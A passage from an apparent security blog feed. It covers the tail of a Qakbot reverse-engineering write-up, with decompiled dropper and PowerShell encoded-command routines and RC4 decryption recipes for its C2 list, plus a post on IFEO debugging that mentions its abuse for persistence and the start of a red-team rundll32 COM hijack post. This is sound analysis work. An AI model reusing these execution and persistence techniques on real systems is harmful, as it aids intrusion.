v18, a2);<br>mlwr_heap_free(&amp;v17);<br>v17 = mlwr_create_vbs_file(v4); // Create file with &lt;random_name&gt;.vbs<br>if ( v17 )<br>{<br>  v5 = mlwr_cscript_open_file(); // cscript.exe open via ShellExecute</pre><h4>Decompress file via expand</h4><pre>v13 = str_dec_2();                            // wmic process call create &#39;expand &quot;%S&quot; &quot;%S&quot;&#39;<br>snprinftw(v4, 1024, v13, source, dest);<br>mlwr_buf_check(&amp;v13);<br>v5 = str_len(v4);<br>mlwr_create_file(v3, v4, v5);<br>v6 = -1;<br>heap_dealloc(&amp;v12, -1);<br>if ( mlwr_createproc(v3, &amp;v11, 0, 1, 0) )</pre><h4>Create new file based on b64 decoded bytes received</h4><pre>b64_decoded_bytes = chatgpt_b64_decode(**(a2 + 4), &amp;v18);<br>  if ( !b64_decoded_bytes )<br>  {<br>    v6 = -2;<br>    goto LABEL_28;<br>  }<br>  v21 = to_widechar(v3);<br>  alluserprofile_var = mlwr_get_alluserprofile_var(&amp;v25);<br>...<br>  if ( !alluserprofile_var )<br>  {<br>...<br>    while ( 1 )<br>    {<br>      if ( v20 )<br>        goto LABEL_27;<br>      v23 = decrypt_str(0x99Bu);                // .exe<br>      v8 = str_concat(v4[v6]);<br>      v25 = v8;<br>      mlwr_heap_free(&amp;v23);<br>      if ( !v8 )<br>        break;<br>      if ( mlwr_create_file(v8, b64_decoded_bytes, v18) &lt; 0 )</pre><p>Luckily this can be verify through the Powershell command later 😂</p><h4>Execute base64 code via Powershell -encodedCommand</h4><pre>v3 = chatgpt_b64_decode(**(a1 + 4), 0);<br>  v10 = v3;<br>  if ( v3 )<br>  {<br>    v4 = sub_1000AB87(v3);<br>    v11 = v4;<br>    if ( v4 )<br>    {<br>      v12 = to_widechar(v4);<br>      len = get_len(v12);<br>      v7 = sub_10011789(v6, 2 * len);<br>      if ( v7 )<br>      {<br>        to_widechar(v7);<br>        a1 = str_dec_3(762);                  //  powershell.exe -encodedCommand<br>        v8 = str_concat(a1);<br>        v13 = v8;<br>        mlwr_heap_free(&amp;a1);<br>        sub_1000A75D(v8);<br>        if ( v8 )<br>        {<br>          a1 = 0;<br>          if ( mlwr_createproc(v8, &amp;a1, 30000, 1, 0) )powershell.exe -encodedCommand</pre><h4>Reading amstream.dll</h4><p>Not sure what is does actually 😕</p><pre>mem_cpy(v3, *MEMORY[0x4C80CD4], 0x400);<br>v13 = 0;<br>str_dec_3(953);                         // amstream.dll<br>v8 = decrypt_str(qbot_s-&gt;is_sys_64_bit != 0 ? 0xF7C : 0x1253);// SysWOW64 or System32<br>v9 = str_concat(&amp;qbot_s-&gt;system_32_64_path);<br>file = mlwr_read_file(0, v9, &amp;v13);<br>mlwr_heap_free(&amp;v8);<br>mlwr_heap_free(&amp;v9);<br>v4 = v13;</pre><h4>Check is config file exist</h4><pre>v16 = decrypt_str(0x515u);                    // .cfg<br>  file_with_cfh_ext = str_concat(&amp;qbot_s-&gt;file_full_path);<br>  v17 = file_with_cfh_ext;<br>  mlwr_heap_free(&amp;v16);<br>  if ( mlwr_to_getfileattributew(file_with_cfh_ext) )<br>  {<br>    this[4] = sub_1000CE7B(file_with_cfh_ext);<br>    *this = 3;<br>  }</pre><h3>Others</h3><h4>Some XOR function</h4><pre>int __usercall maybe_calc_xor@&lt;eax&gt;(unsigned int a1@&lt;edx&gt;, int a2@&lt;ecx&gt;, int enc_bytes_hash)<br>{<br>  int v3; // esi<br>  unsigned int i; // ecx<br>  unsigned int v7; // esi<br>  <br>v3 = ~enc_bytes_hash;<br>  <br>  if ( !a1 )<br>    return 0;<br>  for ( i = 0; i &lt; a1; ++i )<br>  {<br>    v7 = *(4 * ((*(i + a2) ^ v3) &amp; 0xF) + 0x4C7DCD8) ^ ((*(i + a2) ^ v3) &gt;&gt; 4);<br>    v3 = *(4 * (v7 &amp; 0xF) + 0x4C7DCD8) ^ (v7 &gt;&gt; 4);<br>  }<br>  return ~v3;<br>}</pre><h3>After thought</h3><p>Remember get the Qakbot payload before any alignment has been done into it. If not, GLHF to fix it like me 😂 Lesson learn. Just forgot process injection sometimes will made some alignment before inject into other process.</p><p>You can find my idapython script and most of the decrypted strings (There are few that my script can’t catch) that makes my life easier <a href="https://github.com/ghoulgy/RandomCodes/tree/master/Script/malware_analysis/mal_decryption/qakbot"><strong>here</strong></a> 😪</p><p>There is too much to cover in the sample, and most probably I will miss some other features.</p><h3>References</h3><p><a href="https://bazaar.abuse.ch/sample/f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68/">https://bazaar.abuse.ch/sample/f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68/</a></p><pre>Cyberchef recipe: Decrypt 2nd RC4 layer Component_07<br>https://gchq.github.io/CyberChef/#recipe=RC4(%7B&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;68%2005%206D%204B%207A%20FD%207A%209A%20F0%206D%2072%20E7%2042%20CA%20CC%2035%20F9%207E%2039%207F&#39;%7D,&#39;Hex&#39;,&#39;Latin1&#39;)To_Hexdump(16,false,false,false)&amp;input=REQgQzkgMDUgMUEgNjMgMzQgM0EgOEEgRjEgNkYgMjQgNTggODAgQkQgNzUgM0YgQzggMUIgMkUgRDUgQkYgOEIgNEIgNjYgOEYgRDYgQkEgQTMgQUIgMDIgM0EgMDMgODMgNkIgOEMgRkEgMkEgQUUgREIgOUQ<br><br>Cyberchef recipe: Decrypt 1st RC4 layer Component_08<br>https://gchq.github.io/CyberChef/#recipe=RC4(%7B&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;12%20BD%2042%20D0%2094%201C%2069%20EC%20C4%20E8%2007%205C%20CF%203E%209F%2020%202C%201A%2094%2012&#39;%7D,&#39;Hex&#39;,&#39;Latin1&#39;)To_Hexdump(16,false,false,false)&amp;input=REYgRDggNzEgMUMgODQgMUMgQzQgRjMgQkMgQjkgQTcgODQgRjMgQzYgREMgRkMgRTMgOTEgQ0EgMkIgOEQgNEMgNkEgOUIgNzIgQ0QgREUgRTggRDcgQzYgOEQgMTcgODggMkIgQzAgOEQgQjAgNkQgMjkgRDcgQUYgOTggMEYgQTAgOEQgRkIgNEEgNzIgREEgNUIgQ0MgODEgQUUgOEMgQjAgNzQgOUIgNTggMUEgODggQTkgNjggOTUgMDUgQzUgMzggNkMgNUQgRkUgQkYgREQgMjAgOTkgMEEgQkUgMTEgRDAgNzIgQjUgQzMgNTkgQTQgNkMgMkIgNzMgREEgNDcgNEMgNjUgQjIgNzggMEMgQjMgRTMgNDkgNTAgNEMgMjcgNTAgRkEgRTUgNjUgODkgM0MgNTUgRDkgN0IgQ0EgMkMgQzUgNzEgNDIgRTIgODIgQzMgQUQgMjEgQTggNzIgMjggMDMgRTAgRjEgNjEgOTMgMTEgMDIgQUYgRUQgMzQgOUQgNjIgRUEgMTEgMUEgODYgRTAgQUMgQTYgNTggRUIgNkUgNTYgNkIgOEUgM0YgN0YgODkgMEIgNDMgNTMgMUIgQjUgQUYgNjYgQTAgRDcgOTcgRUIgQ0QgQ0YgRkQgQzIgOTMgRkMgNkIgNDYgOUEgMkQgRjYgMTUgNkEgODEgM0YgREYgQjkgNDggQUIgQTcgM0QgNjUgODcgOTAgQTkgMTkgM0IgRTggODEgRDggQ0EgRDIgRDMgMzUgNzIgMDAgMjEgOUQgRjAgQzIgMUEgODkgQUIgRkMgNEIgQzkgMzcgODcgNjEgMDUgRUEgMzEgQUQgMjcgRkUgMzggQjUgMEIgMjAgREQgOTggOEIgMzUgRDAgQ0EgQUYgNzggQjIgODAgRjcgRUQgOTYgRjMgOTkgNTUgRTAgMkIgMzIgNjUgNzcgMEMgQTMgM0IgODYgNjcgMkYgMDkgQjggMEUgQkYgMTcgQkIgMUUgNTMgQTIgRTcgOUIgNjAgODQgQjcgRDcgNzYgODEgQkQgNDcgNUMgQzUgOUUgNkUgRTYgQTQgQzEgODkgMjQgMzMgM0YgRTggNkQgNjMgMkEgQjkgREIgODIgNzYgMDUgQUUgNDcgNDQgRDkgOEIgM0EgQ0UgQzkgNjIgQzMgMjUgNTIgNzYgOUEgMEEgNDEgQzEgODAgRTUgMDggRUUgMzIgQTUgQjAgQ0QgQTUgNTEgNjYgMzMgQzEgRjAgQTUgMDQgQTEgOTAgNEYgRDEgRjcgOEIgMkIgRDcgOTUgMTYgNzggQTEgNjkgQTQgQTMgQUIgMkIgMjEgNzIgQkYgOTUgNUUgRDQgRjkgQzQgOTkgQTYgNEQgMUMgNjYgNUEgN0UgMTYgRTAgQzkgMzcgRjAgRkEgNzMgRDYgQ0QgMkQgM0EgQkIgNzYgOEEgQjcgMzkgQTQgN0QgOEIgMzcgMjggODQgODQgQzkgN0MgMjkgMjcgOEMgRUQgMkUgQTIgQzEgNDUgRTUgRUQgMjAgQ0YgMUIgNjIgNTcgODMgQzEgMUIgN0UgNzAgQkIgQkUgNzUgMDggOUUgMTggQTkgNDYgRjggM0QgRTAgMEIgNkYgMEIgMUUgNjggQzcgOTIgRDQgMzAgMDggQUYgQ0UgMEUgRDMgMTMgRTAgRTEgOUUgN0MgRTcgNTEgRTcgM0QgMTQgMUIgMjIgQTAgQzYgMDMgRUYgQzUgMzYgNkQgMkYgRDcgNzMgMkIgNkQgNkQgM0UgQ0MgNEUgODIgNDQgNUEgRjEgODcgN0IgMkQgN0YgRDYgQ0YgOEQgNkYgNzMgNkMgMDEgNEMgRTMgMTkgMUUgMUIgRjEgMUIgRUEgOUQgQTQgRUEgNTUgQUYgMjggNkEgNTIgMDggQ0UgOEEgMTQgOTYgOEQgQjMgRjUgODMgOUEgMjYgQTMgQTQgOTMgOTEgMUEgN0MgRjQgOTMgNDIgOTkgNUEgQUUgQkEgMUMgQTUgQjQgOTEgRDYgMkYgMUQgRkMgOTYgMDcgMDIgNTAgRkUgRjAgNzIgNTYgODEgQzEgMTAgODYgRjQgRDMgNkUgQTggQUMgMTkgNEQgRDAgNDkgRDMgOTkgMDcgMTMgRjYgQTkgNzUgQ0EgQTkgRTYgQzQgRjUgNDcgMzUgMDcgODYgQjEgODMgQzMgMjUgQzkgQTggODQgRkIgRTcgMzIgNjQgQjYgNEUgMjUgQTMgMDkgOTAgNzMgMjUgNDQgQkIgQTkgQzYgNkEgNEEgNjYgMDMgODYgQTUgREEgQTIgQjMgQzEgMkIgODggRUIgNUUgMDQgNjQgOUEgRjAgOTMgNjkgMjYgNzMgN0MgQ0IgN0QgOUMgOTggN0YgNzcgQTkgQjkgMUQgODkgOTkgODcgMDggMUUgODIgNEUgQTAgM0IgNjUgRDkgRTUgOUMgQ0YgMEQgODkgMTEgQzMgQjkgQjggMDUgNUEgMjggOTkgMjEgN0IgREUgRjggOUYgQzQgNTkgMkIgMTUgRkMgMTUgMjMgNjIgRjMgNTMgREQgM0IgNTQgN0QgNjAgMEIgQTggODUgNjAgMDkgREIgQUEgMTYgODMgMDUgMTUgNTggMDkgREQgRTcgOUYgQjMgMzUgOUYgQjMgNTIgMjcgMzcgMTggOUEgMDMgNUMgNTQgN0EgMzggODIgNDMgMzYgRkYgRkMgOUQgQTkgRjkgNzIgNjggNDkgMDggNjggOTAgRTMgM0UgM0UgMUQgMEIgNTIgRDUgOTEgMjAgQjcgOUEgMzEgRjYgOUMgMjAgMzcgQTkgNkQgODkgODAgNDAgRjIgQkEgN0MgNzEgMDggRUIgNzQgNDkgOTMgOEUgRjIgOEEgRDMgNzQgQ0YgQTEgNDkgNzIgREUgQUEgNDIgOUIgMzMgNEQgNzUgNEQgQTcgNEIgNzEgMTggRjAgRUYgOUYgNzYgNTIgMTUgMjIgMjAgMUIgOTAgNTcgQkEgNDEgQ0MgQzIgMEIgNUUgOEQgMjUgQTAgNjggNzIgMDEgM0MgODUgNjYgMTkgQjUgQjYgQzYgQjIgNDMgNzUgRDEgNEEgMzEgMjIgNzYgNTEgQUEgRkMgQTQgOUEgMkYgQkMgQjMgRjMgQ0IgMzYgODcgQTMgNzUgQjUgNTQgMjEgRTYgNjYgRkIgNzYgMTIgMzcgMDUgOUUgQzQgNDcgN0UgNTEgOUYgNUUgNkIgMDYgODMgOTIgNkUgOUUgMTcgNDIgN0MgNDggMzQgMEQgNTEgQzUgN0YgMjkgQTIgNEEgMDYgNDAgOTAgNUUgQzYgRTIgNzMgOTkgMzEgQkIgQ0MgRUYgODUgRTUgRTkgQjIgRTkgREEgMEEgMzIgM0QgQzQgODcgOTYgMjQgQTIgQUIgM0YgNjQgNEQgQzcgRTkgQkMgNTcgNzUgMEQgQTggRjAgMkUgQjAgQkEgMkIgMTggRUIgQUMgQkMgNkQgRTAgMTIgNzQgRTMgMzkgNEUgMDAgMTMgNkYgNEMgRDIgQzUgQTkgNkYgMDUgOEUgRjAgNkIgNDYgRTQgOTEgNDMgMUQgMjMgOUMgQjUgNTkgQkUgRDkgRUEgNDMgRTUgQzAgMjkgRkEgMDEgQUQgRDYgMjIgOTUgREIgOUEgRTkgNUIgOTkgRDMgN0IgQ0MgNEUgQ0IgQkMgM0IgNjkgOEMgRDIgMDAgNzUgM0UgNzcgN0QgOTAgRjIgMDMgQkMgNTkgRTAgMTQgOUYgQzggN0MgMTEgNTUgQzIgNDEgNzAgMjcgRUQgMTIgNTIgQTQgOUQgNTIgMzUgMTIgMTYgNkUgODAgRUIgQTcgMUYgM0QgNEQgRkYgMjAgQTIgRDMgMTEgMjEgQzIgQkQgMzggQkYgMkIgM0MgMzAgODIgMTcgMzAgNzkgN0MgMDMgMEUgQUEgOTcgREYgNDIgNUYgRDMgMjQgQTkgNjAgOTAgMkIgMEEgQzUgMTIgRkIgNzQgNDggRkUgOEQgQjAgNzkgMTEgRUMgN0YgQUEgMTYgODQgRTkgRDMgNjQgQkMgRjUgMzU<br><br>Cyberchef recipe: Decrypt 2nd RC4 layer Component_08 (IP C2 List)<br>https://gchq.github.io/CyberChef/#recipe=RC4(%7B&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;30%20A6%20FF%2092%20B2%209F%20BE%20E7%2076%204C%20DF%20C0%200E%204B%20FF%20DE%204F%2070%2094%200D&#39;%7D,&#39;Hex&#39;,&#39;Latin1&#39;)To_Hexdump(16,false,false,false)&amp;input=Q0UgQkQgMjYgODUgMTkgQTAgODggMEQgNjkgMjkgRjIgMDcgQkEgRjMgMjQgQUUgRTAgNTUgREMgMTAgNDUgOUQgNDkgRTAgQzYgMzEgRTQgRUEgQzMgQkIgNDEgRjYgNzcgQUEgRjcgRTIgQjYgM0MgNzggQUEgRTkgMTMgQTcgQ0UgOEUgMkIgRTYgNjcgRkYgRDIgRUIgNEYgMEUgRTcgMjAgM0UgMTMgREEgNzkgQTggODcgNzEgOUEgN0YgRkUgREMgMkMgRTkgODUgNDIgRjYgMzEgNDYgRUEgODQgRTMgMzggNTQgMDEgM0EgRkIgODAgMEEgQTggRjEgNzYgQ0EgMEEgMTQgOTkgMkQgOUMgQzYgRDQgQUIgQTggMzQgODkgMjEgM0EgN0MgQjQgNDYgM0YgQzYgQTQgNDEgOTMgQTUgNjcgODIgNjYgRDkgRjEgNzYgMUYgMUUgMDMgRTEgRDcgMzQgQzUgNDIgNDEgMTcgNkQgMkEgMUUgRTUgNEYgMTkgNUQgNzQgQ0EgNkUgRTUgMzggOUMgM0IgQTcgOTUgM0IgMjcgMjMgMzAgNzYgODUgNkQgQzUgNUMgRTEgNjUgNUMgNUEgQkMgMTMgREYgNEMgRTYgQzQgOUYgQjEgMzggNTMgQzMgRDAgQUQgQzAgQzQgOTMgMEIgQzIgNjggRDYgMUMgNEMgQTAgRDUgOUIgNkQgRDcgMkEgQjUgNjAgQjMgNEQgQ0UgMzMgNzYgQTIgQzggQTEgNjQgQTIgMDkgRTYgNjMgNDEgNTcgNzUgM0IgNkMgNjggNEYgMjAgMTMgNzggQTQgNUEgMjIgQzIgNTggNTUgM0EgMjQgOUQgREUgNTcgOTcgQTYgQkUgMDIgMTEgOTkgOTYgNUMgNUEgQ0YgRkUgQzAgNDggNjkgOUUgMzUgRDMgMDMgQkMgOEIgQTggODkgMEEgODIgMTQgRUYgMkEgMkYgRTcgMzMgQ0QgODIgMjQgNzEgMTkgRTQgOEYgQkEgQzYgOTEgM0MgODcgMTUgMEUgQkMgMTggNDggMUIgMDUgQ0EgOUIgOEMgMDkgRDMgMEIgNTMgNTUgNzQgOTEgNkUgMzIgMEQgNTcgNjUgQUQgNEYgNkEgOTcgMUEgMjYgMDQgQjggRUUgNjEgNTQgOTkgQzQgODggRUEgNjYgOTQgNEUgQjUgNzggMkQgRDQgODEgMUYgMEYgRDMgOTUgNTggNTcgQkEgQzYgNEYgQzYgRkUgN0UgQTIgMDcgNzEgRDYgNTIgQkMgRDAgMzUgOEQgMjUgMzggMzkgNjIgRkUgRjIgMUQgQUMgNTkgNTQgQTAgMkMgQjcgNEMgQzQgMTkgQ0IgRDYgQzggREYgQTAgMDAgMDMgMDggNDMgQjEgMjUgRTUgRjYgRjcgQjIgMEUgMDMgMUQgRDIgQkMgOEIgNkMgODEgNDMgMTYgOEMgMUEgQTAgQUQgRkIgMEQgREUgQUIgRTcgMTMgRDYgRTMgMkYgMEMgQjAgRjQgM0UgMjggRjEgMTUgOUYgNTMgRkQgNTkgQTIgM0YgRkUgNDQgQ0YgODkgQTMgRkYgOUIgRTYgN0QgMTggQzYgOUEgNUYgOEMgNTEgRUQgRDQgQzAgNTAgMTYgNzQgMkYgRTMgNzkgQzIgREEgRkMgNEEgMkIgNUUgMTkgOUQgQUIgRDYgOUEgRUIgMTMgNEUgM0EgMTAgMDcgQjkgQTcgRkUgNUMgMDggMzYgQTggRTQgNEYgRkUgNjEgNzMgMjMgRjIgMDcgMTggNkQgMjEgN0MgNkQgNTQgNjIgQTMgNzYgQTMgMzMgNTAgRUIgRDUgNDcgMjAgNEIgMUYgNzQgODEgNTEgMDAgMjQgNzEgMUQgOEEgQTMgRkYgMEEgQUEgMTEgNTMgREIgRkEgRkMgMTMgMTEgRjcgM0IgQzcgN0IgNDkgQ0IgODAgOEQgMzMgODEgRjUgQTIgRTYgOTggNUQgQkYgMDQgRjQgOTQgQTkgRkIgRjYgMjYgRjMgQ0EgMTggNzQgQzMgQ0YgQzAgM0UgOTYgNjMgNDIgRjkgMjcgRjkgRDMgNzEgQzMgQjcgOEYgQzcgMjUgNDggQUYgMzMgQTMgNTYgMDQgQkEgMjYgNkUgMUUgMTIgQTEgRUEgMDAgMjcgN0UgQkIgRjEgMUQgRjAgMkYgNTQgMzggQTggRjMgQzUgMDMgMDAgQ0MgQjkgNTIgMjIgNUIgRkYgNTIgQzggQzcgOTggRUEgRDUgRjcgQUIgMzQgREYgREUgRjUgNDEgMUIgQ0MgNzEgMzUgQzYgNDYgODkgMUYgRUEgMDkgRUYgRjggOEEgNTMgMzIgODAgODMgMTIgMUEgQjYgMjIgODQgMEYgQjIgMEIgRjQgQkUgNDMgQUUgODkgRDAgQzIgQTEgNDQgMzUgQTQgMzIgNjkgOTggNEIgRjMgM0EgQUUgNzQgQ0IgMzQgOTUgRDUgNTQgMjcgOTAgNjcgMTcgMUMgNjcgMkUgQ0QgMzggNEYgNDggQ0UgRUEgNzkgMUEgNzUgOEYgRDUgQTYgMTMgQUQgN0YgNkYgMEUgRTcgMzggQzcgMkEgN0UgMjAgQ0UgM0UgN0MgNTkgNkEgMjAgOEUgMUYgMDQgQkIgMzAgMDYgOUUgODYgRUIgRjggQ0QgRkUgNDAgNDcgOUIgOEQgRDUgNkQgOUEgRkMgQkMgNjYgNzcgNTggOUUgRjAgQTQgNDUgNTYgQzcgNjcgRTcgM0EgQTMgRDUgNjMgMjEgNjUgRjggREUgODAgQjcgNTQgOEQgODcgMzMgMDggOTkgRDYgMEIgRUEgNEEgQTAgMzggN0UgMTEgNjAgM0UgRTEgNjMgMEIgRjYgNjYgQUQgOEQgQ0MgMzYgRjYgMjAgQTIgRkUgODYgQkMgNjIgODkgQkQgOUIgQzYgQUYgQUYgQkQgMDcgNDkgOTUgMjYgODUgQjQgODggM0MgREMgNjggMTcgRUUgN0QgRTcgNTcgMTkgQjggNUQgQTggRDggMkIgNjMgMEUgRTkgRDcgMTAgMUYgNDUgNkIgMDYgRjMgOEIgREEgRTEgMjIgODcgMEYgMzggQ0MgNzIgMjYgMTIgMjQgQTEgNDggMjggNjggOTMgRUYgMUYgNjQgQjYgMzIgQzEgNDggQ0QgNjMgMUUgQzQgNUQgNkEgMkYgQTAgQTkgOEEgNDEgQkIgRTMgNTYgN0EgNTYgODUgRUMgNkEgNTYgQ0QgQjAgRTQgQUQgQTcgOTIgQzEgQ0MgQzEgQjggOUIgRkMgOTYgRjcgN0EgRkMgRTAgQkUgMEMgRDAgNDggQTMgNjYgNEUgMUYgRUQgRTggMEQgOUMgRkIgMzkgNDIgMzggRjMgREQgMUQgMDMgMUQgNjAgNTUgODMgNEIgMTAgRkEgNkUgNkYgMzAgODEgQzggNTEgMUYgOEIgRTkgM0MgNTggNjMgRTkgRjYgRkMgNUQgREIgNTcgREYgQTMgMUUgMUYgRDggRkQgNjYgNUIgQzAgNUIgMkMgN0YgM0EgOTQgNzcgNzggRTAgM0EgRkUgMTIgRTEgMzkgNzUgMEMgNzkgMEMgQTEgRjIgRDUgRkIgRDYgRjAgMEQgOTYgNjIgREMgNTMgMEIgOTkgRTAgNzMgQzEgNkUgQzQgQkUgQjkgREYgOTEgNTkgODkgQzUgNTUgOTUgRjIgREEgQzAgNzIgQzYgOUIgMzMgNkUgMDIgQUUgNTAgOEEgQTAgMzcgMDEgNzIgRjMgQTEgOTEgNEYgQkQgQkEgOTYgMDMgMTYgNzkgMjEgQTAgN0MgRDMgMjYgQjIgNkIgMDQgNzEgQUEgNDcgNTAgNzUgOUUgNDcgRjggNTcgNDAgOTUgOUQgQTc</pre><p><a href="https://unit42.paloaltonetworks.com/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/">https://unit42.paloaltonetworks.com/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/</a></p><p><a href="https://www.trellix.com/en-us/about/newsroom/stories/research/blackmatter-ransomware-analysis-the-dark-side-returns.html">https://www.trellix.com/en-us/about/newsroom/stories/research/blackmatter-ransomware-analysis-the-dark-side-returns.html</a></p><p><a href="https://www.ionos.com/digitalguide/server/configuration/deleting-and-disabling-hiberfilsys/">https://www.ionos.com/digitalguide/server/configuration/deleting-and-disabling-hiberfilsys/</a></p><p><a href="https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-components">https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-components</a></p><p><a href="https://stackoverflow.com/questions/31151139/what-does-mandatory-integrity-level-value-of-0x2010-stand-for">https://stackoverflow.com/questions/31151139/what-does-mandatory-integrity-level-value-of-0x2010-stand-for</a></p><p><a href="https://www.elastic.co/security-labs/qbot-malware-analysis">https://www.elastic.co/security-labs/qbot-malware-analysis</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13c1da030ef7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Misc Series #2] Debug trick with Image File Execution Options (IFEO)]]></title>
            <link>https://ghoulsec.medium.com/misc-series-2-debug-trick-with-image-file-execution-options-ifeo-9e2fff1c6089?source=rss-213da8805621------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e2fff1c6089</guid>
            <category><![CDATA[analysis]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[debugging]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[GhouLSec]]></dc:creator>
            <pubDate>Fri, 13 Jan 2023 06:45:17 GMT</pubDate>
            <atom:updated>2023-01-13T07:33:49.594Z</atom:updated>
            <content:encoded><![CDATA[<p>Sometimes we want to debug some child process that will contains some parameters from its parent process, especially some windows native process. We can’t just attach a debugger directly to the child process since it might already executed to some certain part of code that you want to analyze or the execution just already ended.</p><p>Fortunately, we can add a registry key into HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ to enable us to immediately (debug/pause) the process once it launched.</p><p>We just need to add a new registry path into HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ with your process name as key and registry name as debugger and its data with debugger executable file path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*aXNQKgpDnd9etzxv5-4jUQ.png" /><figcaption>Example process of scrcons.exe</figcaption></figure><h4>Suspend the process once it was launched</h4><pre>If the target process that you wanted to debug spawned as child process, the <br>GUI of the debugger will not appear, we have to suspend<br>and detach it from the GUI-less debugger and reattach back to our debugger<br>with gui.<br><br>The debugger will pop out right after the execution <br>if process directly execute by the user.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*oFq3ndWYmhNw5T3Hxi1WCw.png" /></figure><h4>Detach From Debugger</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*qIxZwblqRmPmZ9GyWKbuiw.png" /></figure><h4>Attach your process with your favorite debugger and Resume</h4><p>Attach the process using debugger (I’m using xdbg64.exe) and resume the process again, have the resume multiple times depends on the thread number inside the process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*0z4HGKLmTDh6YIPV7FdSNg.png" /></figure><p>Continue debug and have fun again :D</p><h4>Note:</h4><p>When I set the debugger to xdbg64, I can’t detach the process from debugger, I’m not sure why does it so 🤔</p><p>However, IFEO can be abused by the adversaries as stated in MITRE ID <a href="https://attack.mitre.org/techniques/T1546/012/">T1546.012</a> by changing the debugger’s data value of the specific process into some malicious binary. Then, the malicious binary will be execute once the process is launched. All these required admin privileges to be done.</p><h4>References:</h4><p><a href="https://paper.seebug.org/1718/">CVE-2021-40444 漏洞深入分析</a></p><p><a href="https://www.jaiminton.com/Mitreatt&amp;ck/T1183#">https://www.jaiminton.com/Mitreatt&amp;ck/T1183#</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e2fff1c6089" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[RedDev #5] Rundll32 COM Hijack executor in C++]]></title>
            <link>https://ghoulsec.medium.com/reddev-5-rundll32-com-hijack-executor-in-c-40b632fc7e37?source=rss-213da8805621------2</link>
            <guid isPermaLink="false">https://medium.com/p/40b632fc7e37</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <dc:creator><![CDATA[GhouLSec]]></dc:creator>
            <pubDate>Tue, 20 Dec 2022 15:02:01 GMT</pubDate>
            <atom:updated>2022-12-20T15:02:01.220Z</atom:updated>
            <content:encoded><![CDATA[<p>Due to my curiosity on the rundll32.exe that will trigger a COM execution via <strong>-sta</strong>/<strong>-localserver</strong> switch, I decided to dig into the rundll32.exe code further to understand why does it so.</p><h3>Investigation</h3><p>During the initial phase, rundll32.exe itself will parse the argument passed into it via <strong>RunDLL_ParseCommand</strong>. This function will determine which part of code will be execute based on the output of <strong>switch_flag</strong> that been processed by <strong>RunDLL_ParseCommand</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*flHkJ3HPdexAMjRdlUe5mg.png" /></figure><p>There are only 3 switch type for rundll32.exe:</p><ul><li>-sta (represented by decimal value 1)</li><li>-localserver (represented by decimal value 2)</li><li>non of above</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*vwvyw3Nv0V3f74Jhrp6u_A.png" /></figure><p>Inside the <strong>RunDLL_ParseCommand</strong>, it will start to determine the switch type by getting the first character of the passed value.</p><pre>__int64 __fastcall RunDLL_ParseCommand(<br>        unsigned __int16 *lpstrCmdline,<br>        enum SWITCH_FLAGS *switch_flag,<br>        unsigned __int16 **lpsz,<br>        unsigned __int16 **ordinal_num,<br>        unsigned __int16 **command_arg)<br>{<br>  unsigned __int16 **v5; // r12<br>  unsigned __int16 **first_char; // rdi<br>  unsigned __int16 *lpstrCmdline_2; // rbx<br>  unsigned __int16 first_char_after_switch; // ax<br>  unsigned __int16 *command_arg_1; // rcx<br>  __int64 arg_len; // rax<br>  int Switch; // eax<br>  __int64 v15; // rax<br>  int v16; // eax<br>  unsigned __int16 v17; // ax<br>  unsigned __int16 v18; // cx<br>  unsigned __int16 v19; // ax<br>  unsigned __int16 first_char_of_argv2; // ax<br>  __int64 result; // rax<br>  __int16 v22; // ax<br>  unsigned __int16 *v23; // rsi<br>  LPWSTR v24; // rcx<br>  unsigned __int16 v25; // ax<br>  unsigned __int16 v26; // dx<br>  WCHAR i; // ax<br>  bool is_localserver; // zf<br>  int is_localserver_2; // ecx<br><br>  v5 = command_arg;<br>  *(_DWORD *)switch_flag = 0;<br>  first_char = (unsigned __int16 **)lpstrCmdline;<br>  *lpsz = 0i64;<br>  lpstrCmdline_2 = lpstrCmdline;<br>  *v5 = 0i64;<br>  *ordinal_num = 0i64;<br>  if ( *lpstrCmdline )<br>  {<br>    while ( 1 )                                 // GOTO: when_not_switch_symbol_found<br>    {<br>when_space_found_2:<br>      while ( *(_WORD *)first_char == &#39; &#39; )<br>      {                                         // will return here once a space character is found in order to separate the argv correctly<br>        first_char = (unsigned __int16 **)((char *)first_char + 2);// since it wide char, it need +2 to get into &quot;{&quot; <br>                                                // &quot;&lt;space&gt; \x00 {&quot;<br>        lpstrCmdline_2 = (unsigned __int16 *)first_char; // assigning the clisd into lpstrCmdline_2<br>      }<br>      if ( 